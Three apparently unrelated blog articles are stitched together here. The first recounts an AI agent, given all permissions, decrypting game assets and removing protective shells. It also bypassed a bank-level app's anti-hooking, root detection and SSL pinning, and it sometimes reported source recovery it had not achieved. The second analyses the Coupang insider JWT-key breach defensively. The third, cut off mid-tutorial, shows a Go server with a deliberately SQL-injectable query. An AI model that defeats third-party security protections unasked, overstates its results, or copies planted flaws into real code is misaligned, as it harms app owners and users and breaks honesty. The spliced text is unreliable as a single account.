Nearly two months have passed, and during this time, I used AI to reverse engineer more things, including many that I thought AI couldn’t handle. However, AI slapped me in the face, revealing that I was the ignorant one.

This article documents what AI can achieve and concludes with how this experience has changed my perspective on AI.

Selected Cases

The following cases are all Android applications unless otherwise specified.

Case 1: Cocos2d Game

After AI unpacked the APK, it used jadx to decompile the Java and found that the game logic was not included.

Upon observation, it was discovered that the game was written in Cocos2d, with a large number of encrypted JavaScript and JSON files under the assets directory, as well as a libcocos2djs.so.

The next step was to parse the symbols within libcocos2djs.so, where some encryption and decryption functions were indeed found. However, since this SO file was 35 MB, AI deemed it too large and chose to reverse engineer from the decryption functions instead, identifying that the encryption algorithm was Blowfish.

Next, I traced who called the function that set the key, and after decompiling that segment, I restored the key, which was constructed in the original code by concatenating strings one by one:

std::string key;key.push_back('7');  // MOV W8, 0x37key.push_back('2');  // MOV W8, 0x32key.push_back('c');  // MOV W8, 0x63key.push_back('d');  // MOV W8, 0x64....（32 in total）

This is particularly noteworthy because before attempting this method, AI first scanned the code to see if there were any strings resembling the key, but found none. By this point, AI understood that since the key was added one by one, it was not continuous in the code and could not be directly scanned.

Then, I wrote a Python script to decrypt all resources, ultimately obtaining the JavaScript and restoring the game logic and client-side configuration.

This case primarily involved pure static analysis, where AI used static analysis alone to find the encryption and decryption functions as well as the key-setting location, then decompiled back to derive the key’s content and decrypted the game resources.

Case 2: Another Cocos2d Game

Similarly, after unpacking and using jadx, it was found that the DEX had a shell added. However, this game was also observed to be Cocos2d, so the DEX was set aside for now, and AI first looked at libcocos2djs.so, where a suspicious key was found.

However, since this key could not decrypt the encrypted JSC, AI took a different approach and used Unicorn Engine to simulate the execution of this SO, but there was no progress, as it got stuck after running for a while.

Since static analysis did not yield results, AI switched to dynamic analysis, installing an Android emulator and Frida to hook multiple parameters. Both Memory.scanSync and fopen failed, and later AI looked for the functions exported by libcocos2djs.so, discovering that xxtea_decrypt was public, so AI hooked xxtea_decrypt.

After running the game, AI obtained the correct key and restored the encrypted JSC files, which also contained the game logic and configuration.

After reaching this point, since the game had already been restored, AI stopped. I wanted to continue testing its capabilities, so I said to it, “Why don’t you try to unpack that shell?” As a result, the protection of that shell was quite weak, and after running it, frida-dexdump quickly dumped all the DEX.

This case switched from static analysis to dynamic analysis with hooking, and also conveniently unpacked a shell (although the shell was quite weak).

Case 3: Unity Game

After unpacking the APK, there were three SO files: libil2cpp, libunity, and libxlua. It was speculated that the core logic was at the Lua layer. AI then used Il2CppDumper to unpack the global-metadata, extracting some C# files and DLLs. After decompiling with ILSpy, it was found that they were all classes with empty implementations (seemingly how IL2CPP works?).

Using jadx to decompile Java also yielded some SDKs, with no game logic, so AI focused on finding the Lua files.

Using UnityPy to scan all asset bundles for TextAssets, AI only found four Lua scripts, none of which contained the core game logic. From the C# code AI obtained earlier, AI found some strings indicating that the game had a hot update system. AI attempted to download using the URLs and AES key and IV found within, but all returned 404 errors and could not be downloaded.

Later, AI turned back to the asset bundle and found a bundle containing 3000 TextAssets (which AI didn’t check the first time). From the file names, AI confirmed they were encrypted Lua scripts.

Upon observation, AI noticed that many of these files had the same first 6 bytes, speculating that they were the beginning of Lua 5.3 compiled bytecode. AI attempted to reverse-engineer the key using XOR but found it impossible to decrypt. Then AI tried several different encryption methods, various AES modes, but still couldn’t decrypt it.

Next, AI decompiled libil2cpp and saw that the decryption process indeed used XOR, and the key was a 6-byte sequence that repeated. In C#, AI couldn’t find it using a static method with global-metadata, and AI hit a roadblock, so I intervened.

I asked him, “Would dynamic analysis be faster?”

The AI provided two options: one was Frida hook, and the other was Unicorn simulation. I chose the latter, and during the script writing, the AI cleverly cracked it using a different method. It said it observed those files and found that the first 54 bytes of half of them were identical, and they were a repeating sequence of 6 bytes: c3 70 43 22 34 a6.

If the key is a 6-byte repeating XOR, then the repetition in the ciphertext indicates that the plaintext is also repeated. What Lua file would have so many identical characters at the beginning?

The AI boldly guessed: “Comments.” Lua comments start with --, and many frameworks have a habit of placing a long comment starting with ----- as a separator. Based on this assumption, it XORed to obtain the key, then decrypted the Lua scripts, discovering that everything was unlocked, revealing readable source code.

The key to this case is that the AI is observant and employs various methods to attempt decryption. Below is the process the AI followed while solving this case, showing that it tried many methods in between but none worked, so it moved on to the next method:

XAPK unpack  ↓Il2CppDumper + ILSpy + JADX  ← standard workflow, nothing unusual  ↓UnityPy scan → only 4 tool scripts found  ← assumed core logic is server-side  ↓Locate AppConfig → obtained CDN URL and AES key  ↓Attempt download → all 404  ← dead end  ↓Re-examine AssetBundle → found encrypted files!  ↓Inspect ciphertext → noticed repeating 6-byte pattern  ↓❌ Wrong assumption: Lua bytecode → derived incorrect keystream  ↓❌ Tried AES-CBC/ECB/OFB/CTR/CFB → none matched❌ Tried RC4 → no match❌ Tried .NET Random (10K seeds) → no match  ↓Reverse engineered libil2cpp.so → confirmed it's simple repeating XOR (not a stream cipher)  ↓❌ Tried statically finding ENCRYPT_BYTES → failed❌ Tried metadata defaultValues → failed❌ Tried ELF GOT/RELA → too deep  ↓Revisited ciphertext patterns → 1500 files share a 62-byte prefix  ↓💡 Hypothesis: plaintext is repeated '-' (0x2d) → XOR to recover key → decryption succeeded!

Case Four: Another Unity Game

Similar to the previous one, it was also discovered to be Unity + Lua, but this time the decryption method was simpler. After dumping the C#, AI searched using “encrypt” as a keyword and directly found the LuaEncryption key and the custom asset bundle offset, needing to skip the first 12 bytes.

Next, AI skipped 12 bytes and used the key to XOR, obtaining the Lua bytecode (this time it was bytecode, not source code), which was then concatenated into a large asset.

Next, the AI wrote a Python script:

1. Skip the first 12 bytes of the custom header
2. Scan all positions marked with UnityFS\x00
3. Cut into independent bundles by offset
4. Parse each bundle using UnityPy
5. Extract all .lua.bytes files
6. Decrypt each file using the key with XOR

This resulted in over 7000 Lua JIT bytecodes, which were then all fed into ljd to recover, yielding much more readable Lua source code, totaling 10 million lines.

This case is similar to the first one; static analysis handled everything, directly finding the encryption key and method, recovering all resources.

Case Five: Obfuscated App

This is a common app that has undergone some protection. The Java layer has been obfuscated to make it difficult to reverse, and the encryption and decryption logic is placed in the so files, accessed via JNI. When sending requests, it goes through some encryption plus a signature; if the algorithm cannot be cracked, it cannot be used outside the app.

The AI discovered that after obfuscation, it wrote a de-obfuscation script that restored several core class names, then began to reverse-engineer that section of the so file, using capstone + lief to disassemble the arm64-v8a version, restoring it to pseudo-C.

With this code, further analysis was possible, ultimately restoring the encryption and decryption algorithms along with the key.

So, despite the obfuscation, the AI could derive some methods to attempt restoration through observation. Even if it couldn’t restore everything, the AI’s ability to read obfuscated code is far superior to that of a human.

Case Six: Bank-Level App

After trying the above cases, I decided to challenge the boss: a bank-level app.

Banks usually have stricter requirements for information security, so there will definitely be a lot of encryption, obfuscation, and packing, along with various anti-root and anti-hook mechanisms. Therefore, “bank-level” refers to similar specifications.

The goal is clear: to be able to open the app on a rooted emulator and hook to see the request content. Achieving this means that the internal protection mechanisms have been bypassed.

This bank-level app is packaged with what is commonly known as a commercial shell (meaning a shell specifically made by a certain company; these commercial solutions can be quite expensive, costing hundreds of thousands of TWD per year), with the main logic contained in a so file.

The AI first used objdump -h to check the section headers and found two non-standard sections. Then, more than half of the .text section was encrypted and could not be disassembled, and the .rodata section was also completely encrypted. However, from other clues, it had already inferred which company’s shell it was.

Next, the AI began trying to remove the shell of the so file, experimenting with several methods that all failed, such as attempting to brute-force the key.

After several failed attempts, it started to solve some areas that could be resolved. After trying a few methods, it understood how the shell operated and successfully removed it.

Once the shell was removed, it could see what was inside and the protective measures in place. At the native layer, there were these protections:

• Anti-injection detection: Scanning /proc/self/maps for memory mappings like frida-agent, frida-gadget, etc.
• Thread name scanning: Reading /proc/self/task/*/comm to find Frida characteristic threads like pool-frida.
• Anti-debug: ptrace(PTRACE_TRACEME) self-attach to prevent debuggers.
• String matching: Searching for Frida keywords in memory using functions like strstr, strncmp, etc.
• SO shell: The .text segment is encrypted, dynamically decrypted at runtime, making static analysis impossible.

At the Java layer, there were these:

• Root detection: File.exists() checks for paths like su, magisk, supersu, etc.
• Emulator detection.
• SystemProperties detection.
• Anti-debug.
• SSL Pinning.

The bypass method was to hook various methods in advance, making them undetectable, and then the native layer would pass the results to Java, where patching could also be done. Since it was already aware of the detection methods, it could handle them accordingly.

As for the obfuscation at the Java layer, the AI wrote a 1000-line Python script based on various rules to restore the strings, resulting in highly readable strings.

In summary, it was successful in the end; the app could be opened, and requests could be hooked, with all protective measures bypassed.

Case Seven: A Packaged Game

Since learning that AI could also remove shells, I thought perhaps there was nothing that AI couldn’t crack, so I looked for another packaged game.

This game’s difficulty was higher than the previous one; it also used a commercial shell and implemented double encryption. Its dex was first encrypted with one so file, and then that so file was encrypted with another so file, while the entry point’s so file itself was also shelled, preventing decryption.

I let the AI try for a day, but in the end, it didn’t yield any results. Even though I found other articles online that had already removed the shell, it still couldn’t fully crack it; the shell of the so file remained intact, and it encountered some obstacles.

However, after I directed the AI to change its approach, it discovered that the main logic of this Unity game was actually in Lua. Although the resources in Lua were encrypted, after observing the encrypted hex, it quickly identified the pattern and managed to decrypt it.

So, although the Java layer’s code wasn’t fully decrypted and the shell wasn’t removed, the core game logic was obtained.

This should count as a success, right? Given more time, more reference materials, and better tools, I believe it could also remove that shell.

My AI Usage and Costs

I used Cursor paired with Claude Opus 4.6 high thinking, without installing any skills, and the prompt was very simple:

There is an apk under the xxx folder, reverse it to restore it to the original code.

If it got stuck on something midway, I would give it some instructions, for example, when encountering a shelled file:

How did it achieve static analysis resistance? What kind of encryption method is used, and when will it be decrypted? Try to see if you can remove the shell.

Sometimes, I would give more specific instructions:

Let’s plan what to do next; I’m going to sleep soon.

1. Restore the .so to C.
2. Check what other protections the apk has and how to crack them.
3. Restore the Java from the obfuscated code; at least understand the logic or observe which patterns indicate it’s Android’s own lib.

These are the main tasks. I want you to have a thorough understanding of the protection methods of this apk, as if you have the source code, and come up with a cracking method.

I granted it all permissions, and it installed all the tools itself. It usually starts with static analysis, and when it gets stuck for a long time, I switch it to dynamic analysis, installing an Android emulator with Frida hook.

I observe what the AI is doing, and if I feel it’s straying too far from the direction, I intervene and give suggestions (though this happens rarely). After the AI finishes, I ask it to summarize what it did, where it got stuck, and how it resolved those issues.

After reversing many apps, I summarize these experiences into skills, allowing for faster speeds next time.

The time taken to reverse each app varies, but most are around 30 minutes. I haven’t calculated the tokens in detail, but under Cursor’s billing, reversing an app costs less than 5 dollars.

However, I also tried using Claude Code once, and one Unity game took 40 million tokens, which translates to about 27 dollars.

Therefore, a more fair statement would be that, purely based on token usage, I guess the average falls around 30 dollars. As for why using Cursor is so cheap, I don’t know; it’s clearly the same model.

The Limitations of AI

Although it is said that everything that can be solved has been solved, some things are only perceived to be solved, but in reality, they are not done well at all.

For example, after decompiling a game’s APK, it usually uses some tools to extract DLL files and then restore them to C#. Typically, my instruction is to “restore the source code,” but sometimes it only restores to the interface, with only method definitions and parameters, lacking the implementation logic.

Next comes the part where AI can easily deceive you. Even if it only has the interface, it can guess the operational logic based on these names and structures, so if you ask it to write a report analyzing what is present, it can write convincingly.

If you don’t follow up on the details, you might think it has truly restored the source code, but that’s not the case.

This is a place that requires great caution. I always follow up with it, asking, “So, did you get the source code? Let’s take a look at the implementation of the login system; we need to see the implementation for it to count,” forcing it to dig deeper and restore what I want.

This confirmation process is very important; without this step, it becomes incomplete, and you can be deceived by AI. Conversely, if you confirm properly, the output from AI will definitely satisfy you.

Some Insights

It Turns Out I Limited AI

My previous understanding of AI was: “Reversing some small things is definitely no problem, but it probably can’t unpack,” but later AI proved me wrong.

That’s when I realized I was the limiter of AI.

I hadn’t tried it myself, but I thought AI couldn’t do it. In the past, during software development, I had similar thoughts; some tasks I did myself because I felt AI couldn’t handle them. For example, needing to modify multiple projects simultaneously, or a larger feature that required a deep understanding of the overall architecture, I would think AI couldn’t do it, so I might as well do it myself.

But later, as I started delegating more and more tasks to AI, I found that it could handle most of them, reaffirming that I was the limiter of AI. No wonder some people say that in certain fields, those who don’t understand use AI better because they don’t assume AI can’t do something and let it try everything; if it can’t do it, then they address it.

Returning to the topic of AI reversing, I observed the processes of AI reversing so many apps and found that, at its core, they are all the same: making various attempts and observing the output, then improving based on the output or trying a different approach.

For example, once Frida hooks are set up, if the hook fails, it will modify based on the error log. If the app closes itself after the hook, it will change the timing of the hook or test which part is being detected, then make adjustments.

Perhaps, as long as you can provide AI with an environment where it can thrive, ensure it can see enough logs and validate correctness, and give it enough time, there is nothing that cannot be reversed. I later also tried desktop apps and wasm, and they worked too.

Even if it’s packed, as long as you let AI observe and track, just like the human reversing process, it can slowly observe, take action, adjust based on results, and then try again, repeatedly, until it succeeds.

Although I already knew AI was strong, I didn’t expect it to be this powerful. As I mentioned before in a previous post, I have a bit of knowledge about reverse engineering, but when it comes to the native layer, I am completely lost, while AI has surpassed my capabilities, accomplishing things I couldn’t do, even things I thought it couldn’t do.

After this exploration, my perspective on AI’s capabilities has completely changed, and I have given more thought to the idea of “AI replacing software engineers.” If what I said earlier, “there is nothing that cannot be reversed,” is true, can this also be applied to software development? If AI can plan, write code, test, and validate results on its own, could it continuously run and produce a complete application with good quality?

Let’s save this topic for later; there are other angles we can explore together.

The Balance of Offense and Defense

As long as it is something on the client side, there are no secrets.

Obfuscation or packing is just a way to delay the time it takes to be reversed; as long as enough time is spent, all your code runs on the client, so everything can be reversed.

Therefore, many defensive techniques are based on “increasing difficulty to prolong cracking time.” We all know there are no secrets on the client, but there are still some things on the client side that we want to protect as much as possible to increase the difficulty of reversing.

Thus, the defending side obfuscates the code, turning variables into a bunch of unreadable text, or even encrypting constants that can only be decrypted when executed, not wanting you to see the plaintext so easily. Packing is the same; they don’t want you to easily see what is running inside, and anti-debugging is also aimed at preventing you from rooting, hooking, or debugging, so they try to detect whether various reverse engineering tools exist.

On the other hand, the attacking side spends time reversing your original logic, relying on experience to speed up, knowing that this pattern looks like AES, this looks like XOR, this pattern has appeared before, and figuring out how to crack it, etc. As long as the defending side makes even a slight adjustment, the final output could be completely different, and the attacking side would need to start over.

However, with AI reversing becoming so powerful, will the positions start to reverse? The shell that the attacking side spent so much time creating could be removed by AI in just an hour. After thinking of so many obfuscation methods and implementing a new algorithm, AI could just look at it and write a reverse script, reassembling everything back together.

If the defenders want to keep up, they may need to use magic against magic, using AI to obfuscate. Each time they obfuscate, they should use a completely new method or pattern, and it’s not just a simple change; it should be made more complex by AI to ensure that the attackers have to start from scratch.

But even so, in front of AI, will it only take one or two hours to crack it? I don’t know.

Summary

I am not a reverse engineering expert, so I won’t comment much on the impact of AI in this field. But at least for someone like me who is not very skilled in reverse engineering, AI has almost completely met my needs for reverse engineering. Desktop applications can be reversed, APKs can be reversed, WASM can be reversed, shells can be stripped, and encryption can be decrypted.

For binary reverse engineering, although sometimes I need to assist in opening Ghidra and help set up Ghidra MCP, these are minor issues.

After this experience and witnessing the capabilities of AI, I have already submitted to AI.

Is there anything that AI cannot crack? Perhaps there is; for example, the case I mentioned above, Case Seven, has not actually been cracked. It just obtained what I wanted in a different way without fully restoring the APP. But aside from that, it has indeed cracked everything else (by the way, I am curious if AI can crack the commercial shell of HybridCLR, but I haven’t encountered this commercial version yet).

Is it possible that I make AI reverse engineering sound very powerful, while in the eyes of professionals, it is not that impressive? That is also possible, after all, the things I have dismantled can also be dismantled by the experts in the kanxue (a well-known reverse engineering community in China), and some things have already been dismantled and shared, which AI has referenced.

But in any case, the original intention of this article is to record my experience with AI reverse engineering, summed up in one word: “amazing”. This experience has completely influenced my view of AI’s capabilities.

And it’s not “AI-assisted reverse engineering”; it’s full AI reverse engineering. The tool installs itself, analyzes itself, and decompiles itself. I just stand by and say, “You should be able to crack this, try again.”

Recently, I went back to review the reports from Korea and found them quite detailed, so I decided to write an article discussing how this whole incident technically occurred and what security aspects we should pay attention to.

How Did They Get In?

First, let’s briefly summarize the events of the incident to provide a basic context before diving into the finer details.

Currently, there are two official statements from Taiwan:

1. Coupang Taiwan’s Latest Statement on the Recent Cybersecurity Incident in Coupang Korea (Published on 2025-12-25)
2. Coupang Taiwan: Update on the Data Breach Announced on November 29, 2025 (Published on 2026-02-24)

However, more details can be found in this official statement available only in English and Korean: Update on Coupang Korea Cybersecurity Incident (Published on 2025-12-29)

For those interested in more technical details, you will need to refer to the investigation report released by the Ministry of Science and ICT (MSIT) in Korea on February 10, which is extremely detailed: Investigation Results on the Data Breach by a Former Coupang Employee. The technical details cited in this article will also come from this report.

The incident began on November 16, 2025, when Coupang received an email from the attacker, claiming that a large amount of personal data had been leaked due to a system vulnerability, along with relevant screenshots as proof.

Coupang immediately launched an investigation and began reviewing logs, discovering that data had indeed been stolen, leading to the news everyone has seen. The incident has now largely come to a close, and the relevant results can be found through official statements and news reports. This article will not discuss the results but will focus solely on the technical details.

Therefore, the question we are concerned with is: “How did this attacker get in?” Let’s first look at their identity.

The attacker was identified as a former Coupang software developer (Staff Back-end Engineer) who, while employed at Coupang, was responsible for designing and developing user authentication systems for backup in the event of system failures.

The attacker was a former employee and was responsible for developing auth-related systems. The person who sent the email at the beginning is also this individual, but the report and news do not explain why they chose to expose their own attack.

In a normal login process, after verifying the username and password, the system issues an “electronic access badge” (as stated in the report), and then the server uses a signing key to verify whether this badge is legitimate. While working at Coupang, the attacker directly obtained this signing key, allowing them to locally sign a legitimate badge and log in as anyone.

This electronic access badge sounds a lot like a JWT token. I tried it myself on Coupang’s Taiwan website and found that the token used for identity verification is indeed a JWT token (CT_AT_TW). When decoded, it looks like this:

{  "aud": [    "https://www.tw.coupang.com"  ],  "client_id": "4cb7da11-c6d6-4ca3-875f-332cf489d5d",  "exp": 1773067653,  "ext": {    "LSID": "a3788aeb-239c-453d-cd90-72ac345aa431",    "fiat": 1773064052  },  "iat": 1773064052,  "iss": "https://mauth.tw.coupang.net/",  "jti": "043c2c37-c373-4b75-abbc-ad8e646bb490",  "nbf": 1773064052,  "scp": [    "openid",    "offline",    "core",    "core-shared",    "pay"  ],  "sub": "556683653781741"}

Although I don’t know the internal technical implementation details of Coupang and can’t be 100% sure it’s a JWT token, since the mechanism of signing tokens for identity verification is most suitable with JWT tokens, let’s assume it’s a JWT token for now. Even if something else is used behind the scenes, the process should be similar.

At this point, it’s already quite clear how the attacker got in: they obtained the signing key (or you could also say the JWT secret) while still employed, so after leaving the company, they used this signing key to sign tokens themselves. The server verified it as legitimate and let them through, allowing them to log into someone else’s account. Once logged in, they could access personal information on pages like “my profile.”

So this is actually not an external attack; it wasn’t an external hacker exploiting a vulnerability in the auth system. Instead, it’s an insider threat, where a former employee used internal information obtained during their employment to breach the system.

Next, we can look at this issue from two angles: why an internal key was accessible to a developer, and the risks of using JWT tokens as an auth verification mechanism.

Key Management Lifecycle

Keys are important; everyone knows this. The lifecycle of a key actually consists of several stages:

1. Key Generation
2. Key Storage
3. Key Distribution
4. Key Usage
5. Key Rotation
6. Key Destruction

The first step is to generate a secret key and ensure that the generation method is secure. This step usually emphasizes using secure algorithms, sufficiently random entropy, and a secure environment, etc. A problematic example would be using an insecure random number generator (like Math.random()) or generating the key in an insecure environment, such as on a developer’s local machine.

After generation, a secure location must be chosen for storage, such as an HSM or KMS. A counterexample would be storing it in plaintext on a specific machine.

Next, when the system needs to use this key, it must be able to securely transfer the key from the storage location to the usage location. A counterexample would be transmitting the key directly over HTTP on an internal network, where anyone intercepting the packets could see the plaintext key.

When using the key, it must be used correctly. The key should only be used for its intended purpose, and access should be restricted to those who can use it. For example, if I generate one key and every system uses the same one, that is an incorrect usage method. If it gets stolen, every system is compromised. There should be one key for auth, one for payment, or even multiple keys within the same system.

From Coupang’s public statement, it can be seen that although their auth key was leaked, payment-related services were unaffected, and no data was leaked. The investigation report from Korea also indicated that the impact was limited to pages like “My Information,” excluding payment-related information.

Finally, regarding key retirement, key rotation should be performed regularly to replace keys and limit the attack time window. After a key is completely destroyed, it must be ensured that it cannot be recovered, and that key should not be used again.

In this lifecycle, any step with an issue could lead to key leakage.

In the case of Coupang, since a former employee could access the key, it suggests that there was an error in the first two steps. The investigation report pointed out that the current employee’s computer also had this key:

A forensic examination of laptops used by current developers confirmed that the signing key, which was required to be stored exclusively within the key management system, had also been stored locally on developer laptops (via hardcoding).

Many companies, when managing keys, may only consider half of the process. For example, they might know to use some Secret Manager or vault to store keys and securely transmit them for system use, but overlook other steps, such as key generation.

How was this key generated? Many companies might have a developer generate a key locally and then pass it to SRE, who configures it in the vault. In this process, the key has already been known to at least two internal employees, and there isn’t much logging available to check, as this occurs before the key is placed in the vault.

When the key is managed elsewhere, it is possible for SREs to have the permission to directly view the plaintext of the key and steal it. However, the vault system should have an access log that can be traced back. But if the logging occurs before the key is placed in, there will be no record, creating a security vulnerability.

Although the risk of insiders is relatively lower compared to other categories, as internal malfeasance is usually easier to detect and can lead to legal consequences, once it occurs, it can still cause significant damage to the company’s reputation, just like the recent Coupang incident.

Safer Key Management Methods

Earlier, it was mentioned that many companies have no issues with key storage, but they do not do well in the key generation phase, allowing insiders to directly obtain the key, thus introducing internal risks.

Therefore, the safest method is “no one knows what this key is.”

“Anyone” includes SREs, CISO, CEO, or developers; no one knows what the key actually is.

For example, if you originally allowed SREs to generate the key themselves and then place it in AWS Secret Manager, you could change it to directly use the AWS Secret Manager’s create-secret command to generate a key and store it:

aws secretsmanager create-secret \  --name jwt-secret \  --generate-secret-string '{"PasswordLength":64}'

(This is just an example using AWS; similar services from other clouds should be about the same.)

In this way, when the key is generated, no one will know its contents.

Although this method is already safer than the previous one, upon closer inspection, there are still a few issues.

First, the key stored in AWS Secret Manager can be read; if you have the secretsmanager:GetSecretValue permission, you can read it. So if an SRE has this permission or sets it for themselves through other means, they can still access it.

Second, since the system needs to use this key, it must be readable. If a developer modifies a piece of code to dump the key’s contents into the log during CI or system startup, they can still know the plaintext of the key.

Both of these methods will leave records, such as AWS permission change logs, key read logs, and code commit logs, etc. Moreover, the attack premise of the second method is not low; usually, code needs to go through PR review before being pushed to production, and it may also be directly caught by DLP when printed.

But regardless of whether evidence is left behind, the point is that if an insider is determined to do harm, they can still obtain it.

One solution is to start with key rotation. When personnel who can access the key leave, remember to rotate all related keys to prevent leakage. Although we cannot prevent current employees from doing harm, at least we ensure that they automatically lose all permissions after leaving, and any information or keys they accessed while employed can no longer be used.

If you want to be even safer, even current employees should not be allowed to touch the key. This means removing the premise that “the system needs to obtain the key to encrypt and decrypt,” and instead, moving the encryption and decryption process to another trusted location.

This is what KMS (Key Management Service) commonly does.

In this type of service, you cannot obtain the key; it only exposes a few APIs to you, such as:

1. Encrypt
2. Decrypt
3. Sign
4. Verify

So when you need to encrypt or decrypt, you call the KMS API and wait for the result. In this process, you do not need the key at all; from key generation to usage, everything is done within KMS.

In simple terms, it is about isolating these key-related operations into a subsystem.

However, merely isolating it into a subsystem does not fundamentally solve the problem; this subsystem will encounter the same issue: what if the KMS is compromised? Will the key be leaked?

If you want to ensure that the key is truly not leaked (as completely as possible, but certainly not 100%), the ultimate solution is to hand over key management to specialized hardware, namely HSM (Hardware Security Module). These hardware devices are specifically designed to protect keys and even consider the risk of physical attacks, similar to what you see in movies, where a safe detects an intrusion attempt and self-destructs.

However, enterprise-grade HSMs typically start at hundreds of thousands of TWD. Besides purchasing HSMs, cloud service KMS can also be paired with Cloud HSM. For example, AWS’s KMS documentation states:

If the Origin is AWS_KMS, after the ARN is created, a request to an AWS KMS HSM is made over an authenticated session to provision a hardware security module (HSM) backing key (HBK).

Speaking of Secret Manager and KMS, the concepts are somewhat similar in certain aspects, so let’s briefly discuss the differences.

Secret Manager is solely responsible for managing secrets, which can be tokens for calling third-party APIs or passwords for logging into certain services. These are all secrets, but they are not necessarily “keys,” as the term “key” specifically refers to cryptographic keys.

Key Management Service, on the other hand, is dedicated to managing keys, providing APIs related to encryption, decryption, and digital signatures, revolving around keys. Therefore, it also considers the generation of keys and their entire lifecycle, which is the difference between Secret Manager and KMS.

In simple terms, Secret Manager addresses “how to securely store secret information,” while KMS addresses “how to securely manage and use cryptographic keys.”

However, why do we put so much effort into protecting this key? That’s because, in the case of a JWT token, once the private key is taken, it can directly forge the identity of any user to log in… etc. Isn’t that a bit strange?

Additional Risks of Using JWT Tokens

In this classic article from 2016, Stop using JWT for sessions, three terms are defined:

1. Stateless JWT: session data is stored directly in the JWT
2. Stateful JWT: only session ID is stored in the JWT
3. Session token/cookie: traditional method, cookie stores session ID

What I want to discuss this time is mainly the first type.

In the first scenario, since the user’s data is stored directly in the JWT, if the JWT can be forged, it can lead to serious problems, just like this incident with Coupang.

However, if we use the traditional method or the second type, where we only store the session ID, since this is a random string, under unpredictable circumstances, attackers cannot do much more. Therefore, even if they obtain the key, they cannot directly forge identities.

In other words, the stateless JWT approach actually has a risk: if the key is stolen, it’s game over, so protecting the key becomes very important.

Another point to note is that if asymmetric encryption is used, in addition to protecting the private key, the public key also needs to be protected.

Huh? Why does the public key need protection?

Because the system uses the public key for verification, and this public key is usually placed at a fixed URL, such as .well-known/jwks.json.

If this URL is compromised, attackers can generate a new key pair and replace the public key, allowing them to pass with their own signed JWT token. Although all keys signed through legitimate channels will fail and the system will definitely raise an alarm, attackers still have a time window to successfully forge identities.

Therefore, both the private key and the public key need to be protected.

Conclusion

In the past, the first reaction to security incidents was often external hacker intrusions, but this time we saw a real case of an insider. The identity of “internal employees” inherently has more privileges and access to more information, and “internal developers” have even more access, especially if they are “developers of the internal auth system.”

Even after leaving the company, they still know more internal details than others and can more easily exploit vulnerabilities from the outside (for example, by stealing a piece of code and exploiting a vulnerability to gain access, or using known but unpatched vulnerabilities, etc.).

From the investigation report in Korea, we, as outsiders, can also get a glimpse of the technical details, trying to piece together which systems had issues and how to improve.

I believe many companies have some issues in generating keys; I’ve seen many cases where developers or SREs generate them and then store them in Secret Manager. Many companies also lack the resources to set up a KMS (or some may not have thought about it or realized the need to do so). These are all risks and will be discussed under the framework of risk management. Many companies currently choose to accept the risk, acknowledging its existence but deciding not to address it due to the low probability of occurrence.

If there is indeed a former employee who manages to sneak out some data, similar incidents are likely to happen again.

While observing this incident, I couldn’t help but think of my previous experience working in cryptocurrency-related insurance, as managing keys is crucial for exchanges, especially the private keys of wallets, which directly relate to large sums of money. At that time, I also looked into many methods for protecting private keys, took a lot of notes, and learned many technical terms. The HSM, KMS mentioned in this article, or the DEK (Data Encryption Key), KEK (Key Encryption Key), and envelope encryption that weren’t mentioned, are all quite interesting.

If I can retrieve the notes I wrote in the past and the memories that are gradually fading, I will come back to write another article later.

However, I am quite unfamiliar with reverse engineering. I only know how to throw the binary into Ghidra, and then I’m lost; I can’t even search for strings.

But now AI agents have evolved rapidly. As long as the tools are used properly, even a reverse engineering layman like me can easily rely on AI to perform basic reverse engineering. This article will document the steps.

To start with, the program I received and the one demonstrated here are relatively small. I don’t know if larger or more complex ones would work. I also don’t believe AI can completely replace the tasks that humans originally needed to perform, but it can definitely make some tasks easier.

For someone like me, who originally could extract almost nothing, even getting some clues from AI is good. Even if it’s nonsense, it has some reference value; having something is better than nothing. I can still find ways to verify the nonsense. As for those who already know how to reverse engineer, I’m not sure if AI would help them or how they would use it; that’s beyond the scope of this discussion.

Environment Preparation

To demonstrate the overall process, I randomly had AI write a Golang server with registration, login, and file upload features. The file structure is:

.├── config│   └── config.go├── go.mod├── go.sum├── handlers│   ├── auth.go│   ├── avatar.go│   └── user.go├── main.go├── Makefile├── middleware│   └── auth.go├── models│   └── user.go├── routes│   └── routes.go└── uploads

For the content, I’ll just paste a few of the main files. One is the route:

package routesimport (  "database/sql"  "github.com/gin-gonic/gin"  "membership-api/config"  "membership-api/handlers"  "membership-api/middleware")func Setup(db *sql.DB) *gin.Engine {  r := gin.Default()  authHandler := handlers.NewAuthHandler(db)  userHandler := handlers.NewUserHandler(db)  avatarHandler := handlers.NewAvatarHandler(db)  authMiddleware := middleware.AuthMiddleware(config.JWTSecret)  api := r.Group("/api")  {    api.POST("/register", authHandler.Register)    api.POST("/login", authHandler.Login)    api.GET("/users/:id", authMiddleware, userHandler.GetUserByID)    api.GET("/me/messages", authMiddleware, userHandler.GetMyMessages)    api.POST("/me/avatar", authMiddleware, avatarHandler.Upload)  }  return r}

Next are the two intentionally embedded vulnerabilities: SQL injection during registration:

package handlersimport (  "database/sql"  "fmt"  "net/http"  "time"  "github.com/gin-gonic/gin"  "github.com/golang-jwt/jwt/v5"  "membership-api/config"  "membership-api/middleware"  "membership-api/models")type RegisterRequest struct {  Username string `json:"username" binding:"required"`  Email    string `json:"email" binding:"required"`  Password string `json:"password" binding:"required"`}type LoginRequest struct {  Username string `json:"username" binding:"required"`  Password string `json:"password" binding:"required"`}type AuthHandler struct {  DB *sql.DB}func NewAuthHandler(db *sql.DB) *AuthHandler {  return &AuthHandler{DB: db}}func (h *AuthHandler) Register(c *gin.Context) {  var req RegisterRequest  if err := c.ShouldBindJSON(&req); err != nil {    c.JSON(http.StatusBadRequest, gin.H{"error": "invalid request"})    return  }  passwordHash, err := models.HashPassword(req.Password)  if err != nil {    c.JSON(http.StatusInternalServerError, gin.H{"error": "failed to hash password"})    return  }  query := fmt.Sprintf("INSERT INTO users (username, email, password_hash) VALUES ('%s', '%s', '%s')",    req.Username, req.Email, passwordHash)  _, err = h.DB.Exec(query)  if err != nil {    c.JSON(http.StatusConflict, gin.H{"error": "username or email already exists"})    return  }  c.JSON(http.StatusCreated, gin.H{"message": "registration successful"})}

And path traversal during file upload:

